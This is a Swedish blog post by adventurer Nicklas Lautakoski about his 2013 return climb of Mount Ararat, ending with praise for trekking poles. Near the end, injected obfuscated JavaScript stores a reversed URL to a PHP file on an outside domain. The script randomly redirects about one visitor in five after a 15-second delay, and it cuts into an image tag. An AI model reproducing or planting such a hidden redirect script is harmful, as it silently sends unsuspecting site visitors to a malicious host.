Nicklas Lautakoski, Ararat juli 2013

Nicklas Lautakoski med Gipron

Denna berättelse börjar för 3 år sedan, den 12 november 2010. Då tvingas jag vända om på 4 100 meters höjd på berget Ararat tillsammans med mina expeditionskollegor Albin och Alex.

 
Tre år senare står jag vid foten av Ararat för att ta min revansch! Denna gång är gruppen större, vi är 5 personer med mig som expeditionsledare och vi är mer bestämda än någonsin. Om inget oförutsett händer så ska vi upp! 
Med hjälp av den kompetens och kunskap vi byggt upp under dessa år och med stor hjälp av den utrustning vi har med oss så är oddsen på vår sida. Det är nu juli månad och berget Ararat i juli jämfört med november är som dag och natt.I november är det iskallt och stor risk för dåligt väder medan det i juli oftast är gott väder.
 
Vi börjar äventyret med en acklimatiseringstur upp på Lilla Ararat (3 925 meter över havet). Lilla Ararat är en stor grushög som knappt aldrig bestigs. Bestigningen sker hyfsat problemfritt, ett enda problem, det rinnande vattnet som ska finnas har torkat ut. Vi tvingas ta vatten från en presenning som lokala fårdaherdar placerat ut för att ha vatten till sin boskap. Vattnet är skitigt och det är fullt av insekter. Vi gör vårt bästa för att rena vattnet, vi kokar det och lägger i klortabletter och hoppas på det bästa. Det bästa uteblir. Den kommande natten blir ett helvete, vi blir allihopa magsjuka och får springa ut och in ur tältet. När vi så gör oss redo för att ta oss till det egentliga målet för resan, Stora Ararat, är vi helt slut.
 
Dag ett på Stora Ararat (5 165 meter över havet) går i långsamt tempo. Sakta men säkert tar vi oss uppför och timmarna går. Dag två har vi kommit upp till 4 100 meters höjd och gör oss redo för den kommande toppattacken. Energin börjar komma åter och vi känner oss starka - åtminstone mentalt! Kl 02.00 ringer alarmet och vi börjar vandra uppför. Höjden gör sig påmind, det blir kallare och kallare och huvudet dunkar.
Kl 06.00 sätter vi på oss stegjärnen och tar fram isyxan för att ta oss de sista hundra metrarna på toppglaciären. 45 minuter senare står vi på den åtråvärda platsen - toppen av Turkiet!Revanschen är utkrävd - Mot nya utmaningar! 
 
Reflektioner kring utrustningen: Alla i teamet använde vandringsstavar, vilket jag alltid gör när jag är på berg. Det stöttar upp min hållning och gör att jag kan hålla mig rak och inte framåtlutad. Det gör att jag skonar ryggen från onödig belastning. Jag får också en skönare rytm i min vandring när jag vandrar med stavar. Inte minst när jag går nedför efter toppattacken, och är trött, så är det bra för att hålla balansen. Ovärderligt helt enkelt!"
 
Nicklas Lautakoski 
Äventyrare och guide 
 
 
Vilopaus
 
$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andring-nedför-med-stavar-1024x685.jpg" alt="Vandring nedför med stavar" width="922" height="617" />